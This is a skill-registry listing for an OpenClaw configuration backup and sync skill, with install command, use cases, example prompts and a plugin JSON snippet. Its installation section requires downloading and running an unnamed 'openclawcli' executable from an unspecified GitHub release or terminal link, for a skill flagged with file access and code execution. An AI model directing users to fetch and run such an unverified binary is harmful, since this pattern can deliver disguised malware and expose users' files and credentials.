openclaw-backup
Enhanced backup and restore for openclaw configuration, skills, commands, and settings. Sync across devices, version control with git, automate backups, and migrate to new machines with advanced compression.
Why use this skill?
Securely backup, restore, and sync your OpenClaw settings, skills, and configurations across multiple devices with this essential management skill.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/openclaw-backup-wrxw0What This Skill Does
The openclaw-backup skill acts as a comprehensive management tool for your OpenClaw configuration environment. It automates the complex process of tracking, securing, and migrating your custom settings, skills, and command definitions. By utilizing the required openclawcli utility, this skill ensures that all your critical personalizations—including MCP server configurations, project-specific overrides, and custom slash commands—are preserved and restorable. It goes beyond simple file copying by facilitating version control practices and enabling seamless environment synchronization across multiple workstations.
Installation
To begin, ensure you have the openclawcli utility installed for your specific OS. For Windows, download the latest executable from the provided GitHub release. For macOS, follow the terminal installation link. Once the base CLI utility is active, you can install the skill directly via the OpenClaw ecosystem using: clawhub install openclaw/skills/skills/hightower6eu/openclaw-backup-wrxw0. After installation, verify the connection by running a test backup to a secure local directory to confirm file permissions are correctly configured.
Use Cases
- Environment Migration: Moving your entire AI agent setup to a new laptop without losing custom skills or project history. 2. Version Control: Periodically snapshotting your configuration to a Git repository, allowing you to roll back if a custom skill configuration causes stability issues. 3. Syncing Across Devices: Maintaining consistency between a desktop and a laptop setup by syncing the
.claude/directory contents.
Example Prompts
- "OpenClaw, please perform a full backup of my current configuration and save it to my backup drive."
- "I'm setting up my work laptop; can you help me restore my latest settings and skill definitions from my cloud backup?"
- "Show me the status of my current backups and verify the integrity of the latest archive created yesterday."
Tips & Limitations
Always exclude settings.local.json from cross-device syncs to prevent environment conflicts, as these files often contain path-specific or hardware-specific variables. Ensure your backup destination is not within the synced cloud storage of your projects to avoid circular dependency loops. Regularly verify your backups by performing a dry-run restore in a test directory to guarantee data integrity.
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{
"plugins": {
"official-hightower6eu-openclaw-backup-wrxw0": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution
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